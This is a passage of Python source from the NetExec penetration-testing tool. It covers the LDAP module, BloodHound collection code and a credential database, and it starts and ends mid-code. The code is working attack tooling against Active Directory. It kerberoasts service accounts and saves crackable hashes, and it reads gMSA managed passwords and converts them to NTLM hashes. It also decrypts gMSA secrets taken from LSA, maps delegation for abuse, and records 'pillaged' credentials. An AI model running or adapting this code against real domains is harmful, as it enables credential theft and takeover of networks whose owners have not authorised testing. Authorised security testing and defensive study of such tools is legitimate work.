encoding="utf-8") as f: usernames.extend(line.strip() for line in f if line.strip()) else: usernames.append(item.strip()) skipped = [] hashes = [] for spn in usernames: base_name = spn.split("/", 1)[0].split("@", 1)[0].rstrip() if base_name.lower() == "krbtgt" or base_name.endswith("$"): skipped.append(base_name) continue if not self.username: self.logger.fail("Likely executed without password flag. Please run the command with -p ''") return hashline = KerberosAttacks(self).get_tgs_no_preauth(self.username, spn) if hashline: hashes.append(hashline) if skipped: self.logger.display(f"Skipping account: {', '.join(skipped)}") if hashes: self.logger.display(f"Total of records returned {len(hashes)}") else: self.logger.highlight("No entries found!") for line in hashes: self.logger.highlight(line) if self.args.kerberoasting: with open(self.args.kerberoasting, "a+", encoding="utf-8") as f: f.write(line + "\n") return if self.args.kerberoast_account: target_accounts = [] for item in self.args.kerberoast_account: if os.path.isfile(item): try: with open(item, encoding="utf-8") as f: target_accounts.extend(line.strip() for line in f if line.strip()) except Exception as e: self.logger.fail(f"Failed to read file '{item}': {e}") else: target_accounts.append(item.strip()) self.logger.info(f"Targeting specific accounts for kerberoasting: {', '.join(target_accounts)}") # build search filter for specific users user_filter = "".join([f"(sAMAccountName={username})" for username in target_accounts]) searchFilter = f"(&(servicePrincipalName=*)(|{user_filter}))" else: # default to all searchFilter = "(&(servicePrincipalName=*)(!(objectCategory=computer)))" attributes = [ "sAMAccountName", "userAccountControl", "servicePrincipalName", "MemberOf", "pwdLastSet", "lastLogon", "objectClass", ] resp = self.search(searchFilter, attributes, 0) resp_parsed = parse_result_attributes(resp) self.logger.debug(f"Search Filter: {searchFilter}") self.logger.debug(f"Attributes: {attributes}") self.logger.debug(f"Response: {resp_parsed}") if not resp_parsed: self.logger.highlight("No entries found!") else: # Filter disabled accounts disabled_accounts = [x for x in resp_parsed if int(x["userAccountControl"]) & UF_ACCOUNTDISABLE] for account in disabled_accounts: self.logger.display(f"Skipping disabled account: {account['sAMAccountName']}") # Get all enabled accounts enabled = [x for x in resp_parsed if not int(x["userAccountControl"]) & UF_ACCOUNTDISABLE] self.logger.display(f"Total of records returned {len(enabled):d}") for user in enabled: # Perform Kerberos Attack TGT = KerberosAttacks(self).get_tgt_kerberoasting(self.use_kcache) self.logger.debug(f"TGT: {TGT}") if TGT: downLevelLogonName = f"{self.targetDomain}\\{user['sAMAccountName']}" try: principalName = Principal() principalName.type = constants.PrincipalNameType.NT_MS_PRINCIPAL.value principalName.components = [downLevelLogonName] tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS( principalName, self.domain, self.kdcHost, TGT["KDC_REP"], TGT["cipher"], TGT["sessionKey"], ) out = KerberosAttacks(self).output_tgs( tgs, oldSessionKey, sessionKey, user["sAMAccountName"], downLevelLogonName, is_computer="computer" in user.get("objectClass", []) ) pwdLastSet = "" if str(user.get("pwdLastSet", 0)) == "0" else str(datetime.fromtimestamp(self.getUnixTime(int(user["pwdLastSet"])))) lastLogon = "" if str(user.get("lastLogon", 0)) == "0" else str(datetime.fromtimestamp(self.getUnixTime(int(user["lastLogon"])))) self.logger.display(f"sAMAccountName: {user['sAMAccountName']}, memberOf: {user.get('memberOf', [])}, pwdLastSet: {pwdLastSet}, lastLogon: {lastLogon}") self.logger.highlight(f"{out}") if self.args.kerberoasting: with open(self.args.kerberoasting, "a+") as hash_kerberoasting: hash_kerberoasting.write(out + "\n") except Exception as e: self.logger.debug(f"Exception: {e}", exc_info=True) self.logger.fail(f"Principal: {downLevelLogonName} - {e}") else: self.logger.fail(f"Error retrieving TGT for {self.domain}\\{self.username} from {self.kdcHost}") def query(self): """ Query the LDAP server with the specified filter and attributes. Example usage: --query "(sAMAccountName=Administrator)" "sAMAccountName pwdLastSet memberOf" """ search_filter = self.args.query[0] attributes = [attr.strip() for attr in self.args.query[1].split(" ")] if len(attributes) == 1 and attributes[0] == "": attributes = None if not search_filter: self.logger.fail("No filter specified") return self.logger.debug(f"Querying LDAP server with filter: {search_filter} and attributes: {attributes}") try: resp = self.search(search_filter, attributes, 0) resp_parsed = parse_result_attributes(resp) except LDAPFilterSyntaxError as e: self.logger.fail(f"LDAP Filter Syntax Error: {e}") return for idx, entry in enumerate(resp_parsed): if not isinstance(resp[idx], ldapasn1_impacket.SearchResultEntry): idx += 1 # Skip non-entry responses self.logger.success(f"Response for object: {resp[idx]['objectName']}") for attribute in entry: if isinstance(entry[attribute], list) and entry[attribute]: # Display first item in the same line as attribute self.logger.highlight(f"{attribute:<20} {entry[attribute].pop(0)}") for item in entry[attribute]: self.logger.highlight(f"{'':<20} {item}") else: self.logger.highlight(f"{attribute:<20} {entry[attribute]}") def find_delegation(self): def printTable(items, header): colLen = [] # Calculating maximum lenght before parsing CN. for i, col in enumerate(header): rowMaxLen = max(len(row[1].split(",")[0].split("CN=")[-1]) for row in items) if i == 1 else max(len(str(row[i])) for row in items) colLen.append(max(rowMaxLen, len(col))) # Create the format string for each row outputFormat = " ".join([f"{{{num}:{width}s}}" for num, width in enumerate(colLen)]) # Print header self.logger.highlight(outputFormat.format(*header)) self.logger.highlight(" ".join(["-" * itemLen for itemLen in colLen])) # Print rows for row in items: # Get first CN value. if "CN=" in row[1]: row[1] = row[1].split(",")[0].split("CN=")[-1] # Added join for DelegationRightsTo row[3] = ", ".join(str(x) for x in row[3]) if isinstance(row[3], list) else row[3] self.logger.highlight(outputFormat.format(*row)) # Building the search filter search_filter = (f"(&(|(UserAccountControl:1.2.840.113556.1.4.803:={UF_TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION})" f"(UserAccountControl:1.2.840.113556.1.4.803:={UF_TRUSTED_FOR_DELEGATION})" "(msDS-AllowedToDelegateTo=*)(msDS-AllowedToActOnBehalfOfOtherIdentity=*))" f"(!(UserAccountControl:1.2.840.113556.1.4.803:={UF_ACCOUNTDISABLE})))") # f"(!(UserAccountControl:1.2.840.113556.1.4.803:={UF_SERVER_TRUST_ACCOUNT})))") This would filter out RBCD to DCs attributes = ["sAMAccountName", "pwdLastSet", "userAccountControl", "objectCategory", "msDS-AllowedToActOnBehalfOfOtherIdentity", "msDS-AllowedToDelegateTo"] resp = self.search(search_filter, attributes) answers = [] resp_parsed = parse_result_attributes(resp) self.logger.debug(f"Total of records returned {len(resp_parsed)}") for item in resp_parsed: sAMAccountName = "" userAccountControl = 0 delegation = "" objectType = "" rightsTo = [] protocolTransition = 0 try: sAMAccountName = item["sAMAccountName"] userAccountControl = int(item["userAccountControl"]) objectType = item.get("objectCategory") # Filter out DCs, unconstrained delegation to DCs is not a useful information if userAccountControl & UF_TRUSTED_FOR_DELEGATION and not userAccountControl & UF_SERVER_TRUST_ACCOUNT: delegation = "Unconstrained" rightsTo.append("N/A") elif userAccountControl & UF_TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION: delegation = "Constrained w/ Protocol Transition" protocolTransition = 1 if item.get("msDS-AllowedToDelegateTo") is not None: if protocolTransition == 0: delegation = "Constrained" rightsTo = item.get("msDS-AllowedToDelegateTo") # Not an elif as an object could both have RBCD and another type of delegation if item.get("msDS-AllowedToActOnBehalfOfOtherIdentity") is not None: databyte = item.get("msDS-AllowedToActOnBehalfOfOtherIdentity") rbcdRights = [] rbcdObjType = [] sd = ldaptypes.SR_SECURITY_DESCRIPTOR(data=bytes(databyte)) if len(sd["Dacl"].aces) > 0: search_filter = "(&(|" for ace in sd["Dacl"].aces: search_filter += "(objectSid=" + ace["Ace"]["Sid"].formatCanonical() + ")" search_filter += f")(!(UserAccountControl:1.2.840.113556.1.4.803:={UF_ACCOUNTDISABLE})))" delegUserResp = self.search(search_filter, attributes=["sAMAccountName", "objectCategory"]) delegUserResp_parse = parse_result_attributes(delegUserResp) for rbcd in delegUserResp_parse: rbcdRights.append(str(rbcd.get("sAMAccountName"))) rbcdObjType.append(str(rbcd.get("objectCategory"))) for rights, objType in zip(rbcdRights, rbcdObjType, strict=True): answers.append([rights, objType, "Resource-Based Constrained", sAMAccountName]) if delegation in ["Unconstrained", "Constrained", "Constrained w/ Protocol Transition"]: answers.append([sAMAccountName, objectType, delegation, rightsTo]) except Exception as e: self.logger.error(f"Skipping item, cannot process due to error {e}") if answers: printTable(answers, header=["AccountName", "AccountType", "DelegationType", "DelegationRightsTo"]) else: self.logger.fail("No entries found!") def trusted_for_delegation(self): # Building the search filter searchFilter = f"(userAccountControl:1.2.840.113556.1.4.803:={UF_TRUSTED_FOR_DELEGATION})" resp = self.search(searchFilter, attributes=["sAMAccountName"], sizeLimit=0) resp_parsed = parse_result_attributes(resp) self.logger.debug(f"Total of records returned {len(resp_parsed):d}") if resp_parsed: for item in resp_parsed: self.logger.highlight(item["sAMAccountName"]) else: self.logger.fail("No entries found!") def password_not_required(self): # Building the search filter searchFilter = "(userAccountControl:1.2.840.113556.1.4.803:=32)" attributes = [ "sAMAccountName", "userAccountControl", ] resp = self.search(searchFilter, attributes, baseDN=self.baseDN) resp_parsed = parse_result_attributes(resp) self.logger.debug(f"Total of records returned {len(resp_parsed):d}") if resp_parsed: for user in resp_parsed: status = "disabled" if int(user["userAccountControl"]) & 2 else "enabled" self.logger.highlight(f"User: {user['sAMAccountName']} Status: {status}") else: self.logger.fail("No entries found!") def admin_count(self): # Building the search filter resp = self.search(searchFilter="(&(adminCount=1)(objectClass=user))", attributes=["sAMAccountName"], sizeLimit=0) resp_parsed = parse_result_attributes(resp) self.logger.debug(f"Total of records returned {len(resp_parsed):d}") if resp_parsed: for user in resp_parsed: self.logger.highlight(user["sAMAccountName"]) else: self.logger.fail("No entries found!") def gmsa(self): self.logger.display("Getting GMSA Passwords") search_filter = "(objectClass=msDS-GroupManagedServiceAccount)" gmsa_accounts = self.search( searchFilter=search_filter, attributes=[ "sAMAccountName", "msDS-ManagedPassword", "msDS-GroupMSAMembership", ], ) gmsa_accounts_parsed = parse_result_attributes(gmsa_accounts) if gmsa_accounts_parsed: self.logger.debug(f"Total of records returned {len(gmsa_accounts_parsed):d}") for acc in gmsa_accounts_parsed: # PrincipalAllowedToRetrieveGMSAPassword principal_with_read = [] if "msDS-GroupMSAMembership" in acc: msDS_GroupMSAMembership = acc["msDS-GroupMSAMembership"] dacl = ldaptypes.SR_SECURITY_DESCRIPTOR(data=bytes(msDS_GroupMSAMembership)) # Get all SIDs that have the right to read the password sids = [ace["Ace"]["Sid"].formatCanonical() for ace in dacl["Dacl"]["Data"] if ace["AceType"] == 0x00] self.logger.debug(f"msDS-GroupMSAMembership: {sids}") search_filter = "(|" + "".join([f"(objectSid={sid})" for sid in sids]) + ")" resp = self.ldap_connection.search( searchBase=self.baseDN, searchFilter=search_filter, attributes=["sAMAccountName"], sizeLimit=0, ) resp_parsed = parse_result_attributes(resp) if len(resp_parsed) > 1: principal_with_read = [f"{item['sAMAccountName']}" for item in resp_parsed] elif len(resp_parsed) == 1: principal_with_read = resp_parsed[0]["sAMAccountName"] # Get the password passwd = "" if "msDS-ManagedPassword" in acc: blob = MSDS_MANAGEDPASSWORD_BLOB() blob.fromString(acc["msDS-ManagedPassword"]) currentPassword = blob["CurrentPassword"][:-2] ntlm_hash = MD4.new() ntlm_hash.update(currentPassword) passwd = hexlify(ntlm_hash.digest()).decode("utf-8") self.logger.highlight(f"Account: {acc['sAMAccountName']:<20} NTLM: {passwd:<36} PrincipalsAllowedToReadPassword: {principal_with_read}") return True def decipher_gmsa_name(self, domain_name=None, account_name=None): # https://aadinternals.com/post/gmsa/ gmsa_account_name = (domain_name + account_name).upper() self.logger.debug(f"GMSA name for {gmsa_account_name}") bin_account_name = gmsa_account_name.encode("utf-16le") bin_hash = hmac.new(bytes("", "latin-1"), msg=bin_account_name, digestmod=hashlib.sha256).digest() hex_letters = "0123456789abcdef" str_hash = "" for b in bin_hash: str_hash += hex_letters[b & 0x0F] str_hash += hex_letters[b >> 0x04] self.logger.debug(f"Hash2: {str_hash}") return str_hash def gmsa_convert_id(self): if self.args.gmsa_convert_id: if len(self.args.gmsa_convert_id) != 64: self.logger.fail("Length of the gmsa id not correct :'(") else: # getting the gmsa account search_filter = "(objectClass=msDS-GroupManagedServiceAccount)" gmsa_accounts = self.ldap_connection.search( searchBase=self.baseDN, searchFilter=search_filter, attributes=["sAMAccountName"], sizeLimit=0, ) gmsa_accounts_parsed = parse_result_attributes(gmsa_accounts) if gmsa_accounts_parsed: self.logger.debug(f"Total of records returned {len(gmsa_accounts_parsed):d}") for acc in gmsa_accounts_parsed: if self.decipher_gmsa_name(self.domain.split(".")[0], acc["sAMAccountName"][:-1]) == self.args.gmsa_convert_id: self.logger.highlight(f"Account: {acc['sAMAccountName']:<20} ID: {self.args.gmsa_convert_id}") break else: self.logger.fail("No string provided :'(") def gmsa_decrypt_lsa(self): if self.args.gmsa_decrypt_lsa: if "_SC_GMSA_{84A78B8C" in self.args.gmsa_decrypt_lsa: gmsa_id, gmsa_pass = self.args.gmsa_decrypt_lsa.split("_")[4].split(":") # getting the gmsa account search_filter = "(objectClass=msDS-GroupManagedServiceAccount)" gmsa_accounts = self.ldap_connection.search( searchBase=self.baseDN, searchFilter=search_filter, attributes=["sAMAccountName"], sizeLimit=0, ) gmsa_accounts_parsed = parse_result_attributes(gmsa_accounts) if gmsa_accounts_parsed: self.logger.debug(f"Total of records returned {len(gmsa_accounts):d}") for acc in gmsa_accounts_parsed: if self.decipher_gmsa_name(self.domain.split(".")[0], acc["sAMAccountName"][:-1]) == gmsa_id: gmsa_id = acc["sAMAccountName"] break # convert to ntlm data = bytes.fromhex(gmsa_pass) blob = MSDS_MANAGEDPASSWORD_BLOB() blob.fromString(data) currentPassword = blob["CurrentPassword"][:-2] ntlm_hash = MD4.new() ntlm_hash.update(currentPassword) passwd = hexlify(ntlm_hash.digest()).decode("utf-8") self.logger.highlight(f"Account: {gmsa_id:<20} NTLM: {passwd}") else: self.logger.fail("No string provided :'(") def pso(self): """ Get the Fine Grained Password Policy/PSOs Initial FGPP/PSO script written by @n00py: https://github.com/n00py/GetFGPP """ # Convert LDAP time to human readable format def pso_days(ldap_time): return f"{rd(seconds=int(abs(int(ldap_time)) / 10000000)).days} days" def pso_mins(ldap_time): return f"{rd(seconds=int(abs(int(ldap_time)) / 10000000)).minutes} minutes" # Are there even any FGPPs? self.logger.info("Attempting to enumerate policies...") resp = self.search(searchFilter="(objectclass=*)", baseDN=f"CN=Password Settings Container,CN=System,{self.baseDN}", attributes=[]) if len(resp) > 1: self.logger.highlight(f"{len(resp) - 1} PSO Objects found!") self.logger.highlight("") self.logger.success("Attempting to enumerate objects with an applied policy...") # Who do they apply to? resp = self.search(searchFilter="(objectclass=*)", attributes=["DistinguishedName", "msDS-PSOApplied"]) resp_parsed = parse_result_attributes(resp) for attrs in resp_parsed: if "msDS-PSOApplied" in attrs: # Get the distinguished name from the original response for objectName for orig_resp in resp: if isinstance(orig_resp, ldapasn1_impacket.SearchResultEntry): self.logger.highlight(f"Object: {orig_resp['objectName']}") break self.logger.highlight("Applied Policy: ") pso_applied = attrs["msDS-PSOApplied"] self.logger.highlight(f"\t{pso_applied}") self.logger.highlight("") # Let's find out even more details! self.logger.info("Attempting to enumerate details...\n") resp = self.search(searchFilter="(objectclass=msDS-PasswordSettings)", attributes=["name", "msds-lockoutthreshold", "msds-psoappliesto", "msds-minimumpasswordlength", "msds-passwordhistorylength", "msds-lockoutobservationwindow", "msds-lockoutduration", "msds-passwordsettingsprecedence", "msds-passwordcomplexityenabled", "Description", "msds-passwordreversibleencryptionenabled", "msds-minimumpasswordage", "msds-maximumpasswordage"]) resp_parsed = parse_result_attributes(resp) for attrs in resp_parsed: policyName = attrs.get("name", "") description = attrs.get("description", "") passwordLength = attrs.get("msDS-MinimumPasswordLength", "") passwordhistorylength = attrs.get("msDS-PasswordHistoryLength", "") lockoutThreshold = attrs.get("msDS-LockoutThreshold", "") observationWindow = attrs.get("msDS-LockoutObservationWindow", "") lockoutDuration = attrs.get("msDS-LockoutDuration", "") complexity = attrs.get("msDS-PasswordComplexityEnabled", "") minPassAge = attrs.get("msDS-MinimumPasswordAge", "") maxPassAge = attrs.get("msDS-MaximumPasswordAge", "") reverseibleEncryption = attrs.get("msDS-PasswordReversibleEncryptionEnabled", "") precedence = attrs.get("msDS-PasswordSettingsPrecedence", "") policyApplies = attrs.get("msDS-PSOAppliesTo", "") self.logger.highlight(f"Policy Name: {policyName}") if description: self.logger.highlight(f"Description: {description}") self.logger.highlight(f"Minimum Password Length: {passwordLength}") self.logger.highlight(f"Minimum Password History Length: {passwordhistorylength}") self.logger.highlight(f"Lockout Threshold: {lockoutThreshold}") self.logger.highlight(f"Observation Window: {pso_mins(observationWindow)}") self.logger.highlight(f"Lockout Duration: {pso_mins(lockoutDuration)}") self.logger.highlight(f"Complexity Enabled: {complexity}") self.logger.highlight(f"Minimum Password Age: {pso_days(minPassAge)}") self.logger.highlight(f"Maximum Password Age: {pso_days(maxPassAge)}") self.logger.highlight(f"Reversible Encryption: {reverseibleEncryption}") self.logger.highlight(f"Precedence: {precedence} (Lower is Higher Priority)") self.logger.highlight("Policy Applies to:") if isinstance(policyApplies, list): for value in policyApplies: if value: self.logger.highlight(f"\t{value}") elif policyApplies: self.logger.highlight(f"\t{policyApplies}") self.logger.highlight("") def pass_pol(self): search_filter = "(objectClass=domainDNS)" attributes = [ "minPwdLength", "pwdHistoryLength", "maxPwdAge", "minPwdAge", "lockoutThreshold", "lockoutDuration", "lockOutObservationWindow", "forceLogoff", "pwdProperties" ] resp = self.search(search_filter, attributes, baseDN=self.baseDN) resp_parsed = parse_result_attributes(resp) if not resp_parsed: self.logger.fail("No domain password policy found!") return for policy in resp_parsed: def ldap_to_filetime(ldap_time): """Convert LDAP time to FILETIME format for convert function""" if not ldap_time or ldap_time == "0": return 0, 0 time_int = int(ldap_time) if time_int < 0: time_int = abs(time_int) low = time_int & 0xFFFFFFFF high = (time_int >> 32) & 0xFFFFFFFF if ldap_time.startswith("-") or int(ldap_time) < 0: high = -high return low, high min_pass_len = policy.get("minPwdLength", "None") pass_hist_len = policy.get("pwdHistoryLength", "None") max_pwd_age_low, max_pwd_age_high = ldap_to_filetime(policy.get("maxPwdAge", "0")) max_pass_age = convert(max_pwd_age_low, max_pwd_age_high) min_pwd_age_low, min_pwd_age_high = ldap_to_filetime(policy.get("minPwdAge", "0")) min_pass_age = convert(min_pwd_age_low, min_pwd_age_high) accnt_lock_thres = policy.get("lockoutThreshold", "None") lockout_duration_val = policy.get("lockoutDuration", "0") lock_accnt_dur = convert(0, int(lockout_duration_val) if lockout_duration_val != "0" else 0, lockout=True) lockout_obs_val = policy.get("lockOutObservationWindow", "0") rst_accnt_lock_counter = convert(0, int(lockout_obs_val) if lockout_obs_val != "0" else 0, lockout=True) force_logoff_low, force_logoff_high = ldap_to_filetime(policy.get("forceLogoff", "0")) force_logoff_time = convert(force_logoff_low, force_logoff_high) # Convert password properties using existing d2b function pwd_properties = policy.get("pwdProperties", "0") pass_prop = d2b(int(pwd_properties)) if pwd_properties != "0" else "000000" # Use the same formatting and constants as SMB passpol PASSCOMPLEX = { 5: "Domain Password Complex:", 4: "Domain Password No Anon Change:", 3: "Domain Password No Clear Change:", 2: "Domain Password Lockout Admins:", 1: "Domain Password Store Cleartext:", 0: "Domain Refuse Password Change:", } # Pretty print using same format as SMB self.logger.success(f"Dumping password info for domain: {self.domain}") self.logger.highlight(f"Minimum password length: {min_pass_len}") self.logger.highlight(f"Password history length: {pass_hist_len}") self.logger.highlight(f"Maximum password age: {max_pass_age}") self.logger.highlight("") self.logger.highlight(f"Password Complexity Flags: {pass_prop or 'None'}") for i, a in enumerate(pass_prop): self.logger.highlight(f"\t{PASSCOMPLEX[i]} {a!s}") self.logger.highlight("") self.logger.highlight(f"Minimum password age: {min_pass_age}") self.logger.highlight(f"Reset Account Lockout Counter: {rst_accnt_lock_counter}") self.logger.highlight(f"Locked Account Duration: {lock_accnt_dur}") self.logger.highlight(f"Account Lockout Threshold: {accnt_lock_thres}") self.logger.highlight(f"Forced Log off Time: {force_logoff_time}") break # Only process first policy result def bloodhound(self): # Check which version is desired use_bhce = self.config.getboolean("BloodHound-CE", "bhce_enabled", fallback=False) package_name, version, is_ce = get_bloodhound_info() if use_bhce and not is_ce: self.logger.fail("⚠️ Configuration Issue Detected ⚠️") self.logger.fail(f"Your configuration has BloodHound-CE enabled, but the regular BloodHound package is installed. Modify your {CONFIG_PATH} config file or follow the instructions:") self.logger.fail("Please run the following commands to fix this:") self.logger.fail("poetry remove bloodhound-ce # poetry falsely recognizes bloodhound-ce as a the old bloodhound package") self.logger.fail("poetry add bloodhound-ce") self.logger.fail("") # If using pipx self.logger.fail("Or if you installed with pipx:") self.logger.fail("pipx runpip netexec uninstall -y bloodhound") self.logger.fail("pipx inject netexec bloodhound-ce --force") return elif not use_bhce and is_ce: self.logger.fail("⚠️ Configuration Issue Detected ⚠️") self.logger.fail("Your configuration has regular BloodHound enabled, but the BloodHound-CE package is installed.") self.logger.fail("Please run the following commands to fix this:") self.logger.fail("poetry remove bloodhound-ce") self.logger.fail("poetry add bloodhound") self.logger.fail("") # If using pipx self.logger.fail("Or if you installed with pipx:") self.logger.fail("pipx runpip netexec uninstall -y bloodhound-ce") self.logger.fail("pipx inject netexec bloodhound --force") return auth = ADAuthentication( username=self.username, password=self.password, domain=self.domain, lm_hash=self.nthash, nt_hash=self.nthash, aeskey=self.aesKey, kdc=self.kdcHost, auth_method="auto", ) ad = AD( auth=auth, domain=self.domain, nameserver=self.args.dns_server, dns_tcp=self.args.dns_tcp, dns_timeout=self.args.dns_timeout, ) collect = resolve_collection_methods("Default" if not self.args.collection else self.args.collection) if not collect: return self.logger.highlight("Resolved collection methods: " + ", ".join(list(collect))) self.logger.debug("Using DNS to retrieve domain information") try: ad.dns_resolve(domain=self.domain) except (resolver.LifetimeTimeout, resolver.NoNameservers): self.logger.fail("Bloodhound-python failed to resolve domain information, try specifying the DNS server.") return if self.args.kerberos: self.logger.highlight("Using kerberos auth without ccache, getting TGT") auth.get_tgt() if self.args.use_kcache: self.logger.highlight("Using kerberos auth from ccache") auth.load_ccache() timestamp = datetime.now().strftime("%Y-%m-%d_%H%M%S") + "_" bloodhound = BloodHound(ad, self.hostname, self.host, self.port) bloodhound.connect() try: bloodhound.run( collect=collect, num_workers=10, disable_pooling=False, timestamp=timestamp, fileNamePrefix=self.output_filename.split("/")[-1], computerfile=None, cachefile=None, exclude_dcs=False, ) except Exception as e: self.logger.fail(f"BloodHound collection failed: {e.__class__.__name__} - {e}") self.logger.debug(f"BloodHound collection failed: {e.__class__.__name__} - {e}", exc_info=True) return self.logger.highlight(f"Compressing output into {self.output_filename}_bloodhound.zip") list_of_files = os.listdir(os.getcwd()) with ZipFile(f"{self.output_filename}_bloodhound.zip", "w") as z: for each_file in list_of_files: if each_file.startswith(self.output_filename.split("/")[-1]) and each_file.endswith("json"): z.write(each_file) os.remove(each_file) NetExec-1.5.1/nxc/protocols/ldap/000077500000000000000000000000001514706431700166155ustar00rootroot00000000000000NetExec-1.5.1/nxc/protocols/ldap/__init__.py000066400000000000000000000000001514706431700207140ustar00rootroot00000000000000NetExec-1.5.1/nxc/protocols/ldap/bloodhound.py000066400000000000000000000110661514706431700213300ustar00rootroot00000000000000import sys import time from nxc.logger import NXCAdapter from bloodhound.ad.domain import ADDC from bloodhound.enumeration.computers import ComputerEnumerator from bloodhound.enumeration.memberships import MembershipEnumerator from bloodhound.enumeration.domains import DomainEnumerator class BloodHound: def __init__(self, ad, hostname, host, port): self.ad = ad self.ldap = None self.pdc = None self.sessions = [] self.hostname = hostname self.dc = hostname self.proto_logger(port, hostname, host) def proto_logger(self, port, hostname, host): self.logger = NXCAdapter(extra={"protocol": "LDAP", "host": host, "port": port, "hostname": hostname}) def connect(self): if len(self.ad.dcs()) == 0: self.logger.fail("Could not find a domain controller. Consider specifying a domain and/or DNS server.") sys.exit(1) if not self.ad.baseDN: self.logger.fail("Could not figure out the domain to query. Please specify this manually with -d") sys.exit(1) pdc = self.ad.dcs()[0] self.logger.debug("Using LDAP server: %s", pdc) self.logger.debug("Using base DN: %s", self.ad.baseDN) if len(self.ad.kdcs()) > 0: kdc = self.ad.kdcs()[0] self.logger.debug("Using kerberos KDC: %s", kdc) self.logger.debug("Using kerberos realm: %s", self.ad.realm()) # Create a domain controller object self.pdc = ADDC(pdc, self.ad) # Create an object resolver self.ad.create_objectresolver(self.pdc) def run(self, collect, num_workers=10, disable_pooling=False, timestamp="", fileNamePrefix="", computerfile="", cachefile=None, exclude_dcs=False): start_time = time.time() if cachefile: self.ad.load_cachefile(cachefile) # Check early if we should enumerate computers as well do_computer_enum = any( method in collect for method in [ "localadmin", "session", "loggedon", "experimental", "rdp", "dcom", "psremote", ] ) if "group" in collect or "objectprops" in collect or "acl" in collect: # Fetch domains for later, computers if needed self.pdc.prefetch_info( "objectprops" in collect, "acl" in collect, cache_computers=do_computer_enum, ) # Initialize enumerator membership_enum = MembershipEnumerator(self.ad, self.pdc, collect, disable_pooling) membership_enum.enumerate_memberships(timestamp=timestamp, fileNamePrefix=fileNamePrefix) elif "container" in collect: # Fetch domains for later, computers if needed self.pdc.prefetch_info( "objectprops" in collect, "acl" in collect, cache_computers=do_computer_enum, ) # Initialize enumerator membership_enum = MembershipEnumerator(self.ad, self.pdc, collect, disable_pooling) membership_enum.do_container_collection(timestamp=timestamp, fileNamePrefix=fileNamePrefix) elif do_computer_enum: # We need to know which computers to query regardless # We also need the domains to have a mapping from NETBIOS -> FQDN for local admins self.pdc.prefetch_info("objectprops" in collect, "acl" in collect, cache_computers=True) elif "trusts" in collect: # Prefetch domains self.pdc.get_domains("acl" in collect) if "trusts" in collect or "acl" in collect or "objectprops" in collect: trusts_enum = DomainEnumerator(self.ad, self.pdc) trusts_enum.dump_domain(collect, timestamp=timestamp, fileNamePrefix=fileNamePrefix) if do_computer_enum: # If we don't have a GC server, don't use it for deconflictation have_gc = len(self.ad.gcs()) > 0 computer_enum = ComputerEnumerator( self.ad, self.pdc, collect, do_gc_lookup=have_gc, computerfile=computerfile, exclude_dcs=exclude_dcs, ) computer_enum.enumerate_computers(self.ad.computers, num_workers=num_workers, timestamp=timestamp, fileNamePrefix=fileNamePrefix) end_time = time.time() minutes, seconds = divmod(int(end_time - start_time), 60) self.logger.highlight(f"Done in {minutes}M {seconds}S") NetExec-1.5.1/nxc/protocols/ldap/database.py000066400000000000000000000223421514706431700207360ustar00rootroot00000000000000 from sqlalchemy import Boolean, Column, ForeignKeyConstraint, Integer, PrimaryKeyConstraint, String, func, select, delete from sqlalchemy.dialects.sqlite import Insert # used for upsert from sqlalchemy.orm import declarative_base from nxc.database import BaseDB, format_host_query from nxc.logger import nxc_logger Base = declarative_base() class database(BaseDB): def __init__(self, db_engine): self.UsersTable = None self.HostsTable = None super().__init__(db_engine) class User(Base): __tablename__ = "users" id = Column(Integer) domain = Column(String) username = Column(String) password = Column(String) credtype = Column(String) pillaged_from_hostid = Column(Integer) __table_args__ = ( PrimaryKeyConstraint("id"), ForeignKeyConstraint(["pillaged_from_hostid"], ["hosts.id"]), ) class Host(Base): __tablename__ = "hosts" id = Column(Integer) ip = Column(String) hostname = Column(String) domain = Column(String) os = Column(String) signing_required = Column(Boolean) channel_binding = Column(String) __table_args__ = ( PrimaryKeyConstraint("id"), ) @staticmethod def db_schema(db_conn): Base.metadata.create_all(db_conn) def reflect_tables(self): self.UsersTable = self.reflect_table(self.User) self.HostsTable = self.reflect_table(self.Host) def add_host(self, ip, hostname, domain, os, signing_required, channel_binding): """Check if this host has already been added to the database, if not, add it in.""" hosts = [] updated_ids = [] q = select(self.HostsTable).filter(self.HostsTable.c.ip == ip) results = self.db_execute(q).all() # create new host if not results: new_host = { "ip": ip, "hostname": hostname, "domain": domain, "os": os, "signing_required": signing_required, "channel_binding": channel_binding } hosts = [new_host] # update existing hosts data else: for host in results: host_data = host._asdict() # only update column if it is being passed in if ip is not None: host_data["ip"] = ip if hostname is not None: host_data["hostname"] = hostname if domain is not None: host_data["domain"] = domain if os is not None: host_data["os"] = os if signing_required is not None: host_data["signing_required"] = signing_required if channel_binding is not None: host_data["channel_binding"] = channel_binding # only add host to be updated if it has changed if host_data not in hosts: hosts.append(host_data) updated_ids.append(host_data["id"]) nxc_logger.debug(f"Update Hosts: {hosts}") # TODO: find a way to abstract this away to a single Upsert call q = Insert(self.HostsTable) # .returning(self.HostsTable.c.id) update_columns = {col.name: col for col in q.excluded if col.name not in "id"} q = q.on_conflict_do_update(index_elements=self.HostsTable.primary_key, set_=update_columns) self.db_execute(q, hosts) # .scalar() # we only return updated IDs for now - when RETURNING clause is allowed we can return inserted if updated_ids: nxc_logger.debug(f"add_host() - Host IDs Updated: {updated_ids}") return updated_ids def add_credential(self, credtype, domain, username, password, pillaged_from=None): """Check if this credential has already been added to the database, if not add it in.""" credentials = [] groups = [] if pillaged_from and not self.is_host_valid(pillaged_from): nxc_logger.debug("Invalid host") return q = select(self.UsersTable).filter( func.lower(self.UsersTable.c.domain) == func.lower(domain), func.lower(self.UsersTable.c.username) == func.lower(username), func.lower(self.UsersTable.c.credtype) == func.lower(credtype), ) results = self.db_execute(q).all() # add new credential if not results: new_cred = { "credtype": credtype, "domain": domain, "username": username, "password": password, "pillaged_from": pillaged_from, } credentials = [new_cred] # update existing cred data else: for creds in results: # this will include the id, so we don't touch it cred_data = creds._asdict() # only update column if it is being passed in if credtype is not None: cred_data["credtype"] = credtype if domain is not None: cred_data["domain"] = domain if username is not None: cred_data["username"] = username if password is not None: cred_data["password"] = password if pillaged_from is not None: cred_data["pillaged_from"] = pillaged_from # only add cred to be updated if it has changed if cred_data not in credentials: credentials.append(cred_data) # TODO: find a way to abstract this away to a single Upsert call q_users = Insert(self.UsersTable) # .returning(self.UsersTable.c.id) update_columns_users = {col.name: col for col in q_users.excluded if 